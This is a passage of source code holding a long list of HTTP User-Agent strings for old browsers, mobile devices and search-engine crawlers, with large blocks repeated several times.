'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
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'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
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'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
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'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
